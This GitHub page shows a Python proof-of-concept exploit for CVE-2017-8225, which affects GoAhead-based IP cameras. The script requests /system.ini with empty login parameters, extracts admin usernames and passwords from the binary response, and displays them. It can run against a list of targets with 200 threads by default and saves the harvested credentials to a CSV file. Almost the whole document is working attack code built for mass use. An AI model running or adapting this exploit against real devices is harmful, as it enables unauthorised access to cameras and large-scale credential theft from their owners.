-
Notifications
You must be signed in to change notification settings - Fork 3
/
CVE-2017-8225.py
154 lines (120 loc) · 6.91 KB
/
CVE-2017-8225.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#!/usr/bin/python3
import re
import os
import csv
import requests
import argparse
import concurrent.futures
from rich.table import Table
from rich.console import Console
from alive_progress import alive_bar
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
class GoAheadBypassExploit:
def __init__(self):
self.color = Console()
self.vulnerable_urls = []
self.mass_exploit = False
def display_credentials_in_table(self, table, url, credentials):
creds_dict = {cred[0]: cred[1] for cred in credentials}
usernames = list(creds_dict.keys())
passwords = list(creds_dict.values())
usernames_str = "\n".join(usernames)
passwords_str = "\n".join(passwords)
table.add_row(url, usernames_str, passwords_str)
def display_credentials(self, credentials, url):
table = Table(title="Camera Credentials")
table.add_column("URL", style="cyan", justify="left")
table.add_column("Username", style="magenta", justify="left")
table.add_column("Password", style="green", justify="left")
for username, password in credentials:
table.add_row(url, username, password)
self.color.print(table)
def check_vulnerability(self, url):
full_url = f"{url}/system.ini?loginuse&loginpas"
user_agent = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
}
credentials = []
try:
response = requests.get(full_url, timeout=7, headers=user_agent, verify=False)
if response.status_code == 200 and not any(tag in response.text.lower() for tag in ["<html"]):
binary_data = response.content
admin_pattern = re.compile(b"[a-zA-Z0-9]{0,10}(admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}")
admin_match = admin_pattern.search(binary_data)
if admin_match:
username = admin_match.group().decode('ascii')
password_start = admin_match.end() + 20 # 31 bytes from 'admin' minus the length of the username
password_bytes = binary_data[password_start:password_start+31]
password_match = re.search(b"[ -~]+", password_bytes)
if password_match:
password = password_match.group().decode('ascii')
credentials.append((username, password))
max_length = 40
formatted_url = url if len(url) <= max_length else url[:max_length-3] + "..."
self.color.print(f"[bold bright_green][+][/bold bright_green] [bold bright_cyan]{formatted_url: <{max_length}}[/bold bright_cyan] \t ([bold bright_yellow]{username}[/bold bright_yellow]:[bold bright_magenta]{password}[/bold bright_magenta])")
except Exception:
pass
if credentials:
self.vulnerable_urls.append((url, credentials))
return url, credentials
def run(self, urls, threads):
results = []
table = Table(title="Camera Credentials", show_header=True, header_style="bold magenta", show_lines=True)
table.add_column("URL", style="cyan", justify="left")
table.add_column("Username", style="magenta", justify="left")
table.add_column("Password", style="green", justify="left")
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = [executor.submit(self.check_vulnerability, url) for url in urls]
with alive_bar(len(urls), title="Scanning", bar="smooth", enrich_print=False) as bar:
for future in concurrent.futures.as_completed(futures):
results.append(future.result())
bar()
consolidated_urls = {}
for url, credentials in self.vulnerable_urls:
if url not in consolidated_urls:
consolidated_urls[url] = []
consolidated_urls[url].extend(credentials)
for url, credentials in consolidated_urls.items():
self.display_credentials_in_table(table, url, credentials)
self.color.print(table)
return results
def banner():
console = Console()
console.print("""[bold cyan]
██████ ██ ██ ███████ ██████ ██████ ██ ███████ █████ ██████ ██████ ███████
██ ██ ██ ██ ██ ██ ████ ███ ██ ██ ██ ██ ██ ██
██ ██ ██ █████ █████ █████ ██ ██ ██ ██ ██ █████ █████ █████ █████ ███████
██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ███████ ███████ ██████ ██ ██ █████ ███████ ███████ ███████
[/bold cyan]""")
console.print("-" * 7, "Coded By K3ysTr0K3R and Chocapikk (NSA please hire us xD)", "-" * 7, end="\n\n")
def main():
banner()
parser = argparse.ArgumentParser(description="A PoC for CVE-2017-8225 GoAhead Credential Leak")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-f", "--file", help="File with list of target URLs")
parser.add_argument("-o", "--output", help="Output CSV file to store results", default="results.csv")
parser.add_argument("--threads", help="Number of threads for concurrent scanning", default=200, type=int)
args = parser.parse_args()
if not (args.url or args.file):
parser.error("Either --url or --file must be provided!")
if args.file:
if not os.path.exists(args.file):
parser.error(f"The file {args.file} does not exist!")
exploit = GoAheadBypassExploit()
urls = []
if args.url:
urls.append(args.url)
elif args.file:
exploit.mass_exploit = True
with open(args.file, 'r') as file:
urls = file.read().splitlines()
exploit.run(urls, args.threads)
with open(args.output, 'w', newline='') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(["URL", "Credentials"])
for url, creds in exploit.vulnerable_urls:
credentials_combined = "\n".join([f"{username}:{password if password else 'blank'}" for username, password in creds])
writer.writerow([url, credentials_combined])
if __name__ == "__main__":
main()